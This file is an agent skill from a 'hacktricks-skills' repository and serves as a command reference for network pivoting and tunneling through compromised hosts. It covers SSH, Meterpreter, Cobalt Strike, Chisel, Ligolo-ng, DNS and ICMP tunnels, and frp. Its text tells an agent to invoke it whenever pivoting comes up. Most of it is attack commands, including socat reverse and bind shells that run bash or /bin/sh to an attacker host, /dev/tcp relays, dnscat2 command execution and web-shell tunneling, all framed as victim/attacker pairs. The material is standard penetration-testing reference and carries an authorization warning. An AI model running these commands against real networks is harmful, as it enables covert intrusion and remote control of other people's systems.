Hacktricks-skills network-tunneling
Network tunneling and port forwarding techniques for authorized security assessments. Use this skill when you need to pivot through networks, forward ports, create SOCKS proxies, or establish covert channels during penetration testing, red teaming, or security research. Covers SSH tunneling, Meterpreter/Cobalt Strike pivoting, DNS/ICMP tunneling, and modern tools like Chisel, Ligolo-ng, and FRP. Make sure to use this skill whenever the user mentions pivoting, port forwarding, SOCKS proxy, network tunneling, SSH tunnel, or needs to access internal networks through compromised hosts.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/generic-hacking/tunneling-and-port-forwarding/SKILL.MDNetwork Tunneling and Port Forwarding
⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized network access is illegal.
Quick Reference
| Technique | Use Case | Tool |
|---|---|---|
| SSH Local Forward | Access internal port via compromised host | |
| SSH Remote Forward | Expose local service to remote | |
| SSH Dynamic (SOCKS) | Full proxy through compromised host | |
| Meterpreter Port Forward | Pivot from active session | |
| Chisel | High-performance reverse tunnel | |
| Ligolo-ng | Advanced pivoting with TUN interface | |
| DNS Tunnel | Bypass firewalls via DNS | , |
| ICMP Tunnel | Bypass via ping | , |
| ngrok/Cloudflared | Expose local services to internet | , |
| FRP | Reverse proxy with SSH gateway | |
SSH Tunneling
Nmap Through SOCKS Proxy
⚠️ Important: ICMP and SYN scans cannot be tunneled through SOCKS proxies. Disable ping discovery and use TCP scans:
proxychains nmap -n -Pn -sT -p445,3389,5985 <target>
Local Port Forwarding (Port2Port)
Forward local port through compromised host to target:
# Syntax ssh -i ssh_key <user>@<compromised_ip> -L <local_port>:<target_ip>:<target_port> [-p <ssh_port>] [-N -f] # Example: Forward local 631 to victim's 631 through compromised host sudo ssh -L 631:<victim_ip>:631 -N -f -l <username> <compromised_ip>
Remote Port Forwarding
Expose a port on the compromised host back to your machine:
# Local port 1521 accessible on port 10521 from everywhere ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 # Remote port 1521 accessible on port 10521 from everywhere ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1
Dynamic SOCKS Proxy
Create a SOCKS proxy through the compromised host:
ssh -f -N -D <local_port> <username>@<compromised_ip> # Then configure proxychains to use 127.0.0.1:<local_port>
Reverse Port Forwarding (DMZ to Internal)
Get reverse shells from internal hosts through a DMZ:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN # Now send reverse shell to dmz_internal_ip:443, capture on localhost:7000 # Requires GatewayPorts yes in /etc/ssh/sshd_config
SSH VPN Tunnel
Create a TUN interface for full network routing (requires root on both ends):
# SSH config must have: PermitRootLogin yes, PermitTunnel yes ssh root@server -w any:any # Creates tun0 on both sides # Client side ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 ip link set tun0 up # Server side ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 ip link set tun0 up echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE # Add route on client route add -net 10.0.0.0/16 gw 1.1.1.1
SSHuttle
Tunnel all traffic to a subnet through a host:
pip install sshuttle sshuttle -r user@host 10.10.10.0/24 # With private key, daemon mode sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
⚠️ Security Note (CVE-2023-48795): The Terrapin downgrade attack can tamper with SSH handshakes. Ensure OpenSSH ≥ 9.6 or disable vulnerable ciphers (
,chacha20-poly1305@openssh.com).*-etm@openssh.com
Meterpreter Pivoting
Port Forwarding
# Inside meterpreter session portfwd add -l <local_port> -p <remote_port> -r <remote_host> portfwd del -l <local_port> # Remove portfwd # List all forwards
SOCKS Proxy
background # Background the session route add <target_subnet> <netmask> <session_id> use auxiliary/server/socks_proxy run # Listens on 127.0.0.1:1080 # Configure proxychains echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf
Autoroute Module
background use post/multi/manage/autoroute set SESSION <session_id> set SUBNET 10.1.13.0 set NETMASK 255.255.255.0 run
Cobalt Strike
SOCKS Proxy
beacon> socks 1080 [+] started SOCKS4a server on: 1080 # Use with proxychains proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
Reverse Port Forwarding
# Traffic goes: Beacon Host → Team Server → Target rportfwd [bind_port] [forward_host] [forward_port] rportfwd stop [bind_port] # Traffic goes: Beacon Host → CS Client → Target rportfwd_local [bind_port] [forward_host] [forward_port] rportfwd_local stop [bind_port]
Chisel
High-performance reverse proxy (use same version for client/server):
SOCKS Mode
# Attacker (server) ./chisel server -p 8080 --reverse # Victim (client) ./chisel client <attacker_ip>:8080 R:socks # Now use proxychains with 127.0.0.1:1080
Port Forwarding
# Attacker ./chisel server -p 12312 --reverse # Victim ./chisel client <attacker_ip>:12312 R:4505:127.0.0.1:4505 # Access victim's 4505 via attacker's 4505
Ligolo-ng
Advanced pivoting with TUN interface support:
Basic Tunnel
# Attacker - Start proxy sudo ./proxy -selfcert interface_create --name "ligolo" certificate_fingerprint # Note the fingerprint # Victim - Connect agent ./agent -connect <attacker_ip>:11601 -v -accept-fingerprint <fingerprint> # Attacker - Manage session session 1 # Select agent tunnel_start --tun "ligolo" ifconfig interface_add_route --name "ligolo" --route <network>/<netmask>
Port Forwarding
# Forward agent's port 30000 to attacker's 10000 listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp listener_list # Access agent's local services interface_add_route --name "ligolo" --route 240.0.0.1/32
Rpivot
Reverse tunnel with SOCKS proxy (127.0.0.1:1080):
# Attacker python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 # Victim python client.py --server-ip <attacker_ip> --server-port 9999 # Through NTLM proxy python client.py --server-ip <attacker_ip> --server-port 9999 \ --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \ --domain CONTOSO.COM --username Alice --password P@ssw0rd # With hashes python client.py --server-ip <attacker_ip> --server-port 9999 \ --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \ --domain CONTOSO.COM --username Alice \ --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
Socat
Bind Shell
# Victim socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane # Attacker socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
Reverse Shell
# Attacker socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 # Victim socat TCP4:<attacker_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Port Forwarding
socat TCP4-LISTEN:<local_port>,fork TCP4:<target_ip>:<target_port> & # Through SOCKS socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
SSL Tunnel
# Generate certificates (both sides) FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem # Attacker socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh # Victim socat STDIO OPENSSL-CONNECT:<attacker_ip>:433,cert=client.pem,cafile=server.crt
Windows Tools
Netsh Port Proxy
# Create forward (requires local admin) netsh interface portproxy add v4tov4 \ listenaddress=0.0.0.0 listenport=4444 \ connectaddress=10.10.10.10 connectport=4444 # List forwards netsh interface portproxy show v4tov4 # Delete forward netsh interface portproxy delete v4tov4 \ listenaddress=0.0.0.0 listenport=4444
Plink (Windows SSH Client)
# Reverse port forward from victim to attacker echo y | plink.exe -l <username> -pw <password> \ -R <attacker_port>:<next_ip>:<final_port> <attacker_ip> # Example echo y | plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41
SocksOverRDP
# Attacker - Register plugin regsvr32.exe SocksOverRDP-Plugin.dll # Connect via RDP (mstsc.exe), plugin listens on 127.0.0.1:1080 # Victim - Run server SocksOverRDP-Server.exe # Verify on attacker netstat -antb | findstr 1080 # Configure Proxifier to use 127.0.0.1:1080
DNS Tunneling
Iodine
# Attacker iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com # Victim iodine -f -P P@ssw0rd tunneldomain.com -r # Victim accessible at 1.1.1.2 # Compressed SSH through tunnel ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
DNSCat2
# Attacker ruby ./dnscat2.rb tunneldomain.com # Victim ./dnscat2 tunneldomain.com # Internal network CTF ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache ./dnscat2 --dns host=10.10.10.10,port=5353 # PowerShell Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd # Port forwarding session -i <session_id> listen 127.0.0.1:8080 10.0.0.20:80
ICMP Tunneling
Hans
# Attacker (server) ./hans -v -f -s 1.1.1.1 -p P@ssw0rd # Victim (client) ./hans -f -c <attacker_ip> -p P@ssw0rd -v # After connection, victim is at 1.1.1.100 ping 1.1.1.100
ptunnel-ng
# Victim (server - must receive ICMP) sudo ptunnel-ng # Attacker (client) sudo ptunnel-ng -p <victim_ip> -l 2222 -r 127.0.0.1 -R 22 # SSH through ICMP tunnel ssh -p 2222 -l user 127.0.0.1 # SOCKS through ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1
Cloud-Based Tunnels
ngrok
# TCP tunnel ./ngrok tcp 4444 # Result: 0.tcp.ngrok.io:12345 # HTTP file server ./ngrok http file:///tmp/httpbin/ # Internal HTTP service ./ngrok http localhost:8080 --host-header=rewrite ./ngrok http localhost:8080 --auth="user:pass" # Configuration (ngrok.yaml) tunnels: mytcp: addr: 4444 proto: tcp httpstatic: proto: http addr: file:///tmp/httpbin/
Cloudflared
# Quick tunnel cloudflared tunnel --url http://localhost:8080 # Result: https://<random>.trycloudflare.com # SOCKS5 proxy cloudflared tunnel --url socks5://localhost:1080 --socks5 # Persistent tunnel cloudflared tunnel create mytunnel cloudflared tunnel route dns mytunnel internal.example.com cloudflared tunnel run mytunnel
FRP (Fast Reverse Proxy)
# Attacker (frps) ./frps -c frps.toml # Listens on 0.0.0.0:7000 # Victim (frpc) ./frpc -c frpc.toml # frpc.toml serverAddr = "attacker_ip" serverPort = 7000 [[proxies]] name = "rdp" type = "tcp" localIP = "127.0.0.1" localPort = 3389 remotePort = 5000 # SSH Gateway (v0.53+, no frpc needed) # frps.toml: sshTunnelGateway.bindPort = 2200 # Victim: ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
Bash Port Forwarding
Multi-hop Forwarding
# Jump server: connect port 3333 to 5985 mknod backpipe p nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe # InternalA (accessible from Jump, can reach InternalB) exec 3<>/dev/tcp/internalB/5985 exec 4<>/dev/tcp/Jump/3333 cat <&3 >&4 & cat <&4 >&3 & # From host, access InternalB via Jump evil-winrm -u username -i Jump
reGeorg
Web-based tunneling (upload web shell first):
python reGeorgSocksProxy.py -p 8080 -u http://victim:8080/tunnel/tunnel.jsp # Supports: .ashx, .aspx, .js, .jsp, .php
NTLM Proxy Bypass
Cntlm
# /etc/cntlm.conf Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222:<attacker_ip>:443 # Now SSH to localhost:2222 goes through NTLM proxy to attacker:443
OpenVPN
# In openvpn.conf http-proxy <proxy_ip> 8080 <creds_file> ntlm
Bash Helper Scripts
See
scripts/ directory for:
- Generate SSH tunnel configurationsssh-tunnel-config.sh
- Configure proxychains for various proxiesproxychains-config.sh
- Quick socat tunnel setupsocat-tunnel.sh
Best Practices
- Always verify authorization before testing
- Document all pivots for reporting
- Use encrypted tunnels (SSH, SSL) when possible
- Clean up temporary forwards and tunnels
- Test connectivity after establishing tunnels
- Consider performance - some tunnels are slow (DNS, ICMP)
- Check for Terrapin vulnerability in SSH versions
- Use appropriate tools for the scenario:
- SSH: When SSH access exists
- Meterpreter: Active sessions
- Chisel/Ligolo: High-performance needs
- DNS/ICMP: When only those protocols allowed
- Cloud tunnels: When egress is restricted
Troubleshooting
| Issue | Solution |
|---|---|
| SSH tunnel fails | Check in sshd_config |
| Proxychains not working | Verify proxy type (socks4/socks5/http) |
| Slow DNS tunnel | Use compression: |
| ICMP blocked | Try DNS tunneling instead |
| Port already in use | Use different local port |
| Certificate errors | Regenerate certs or disable verification |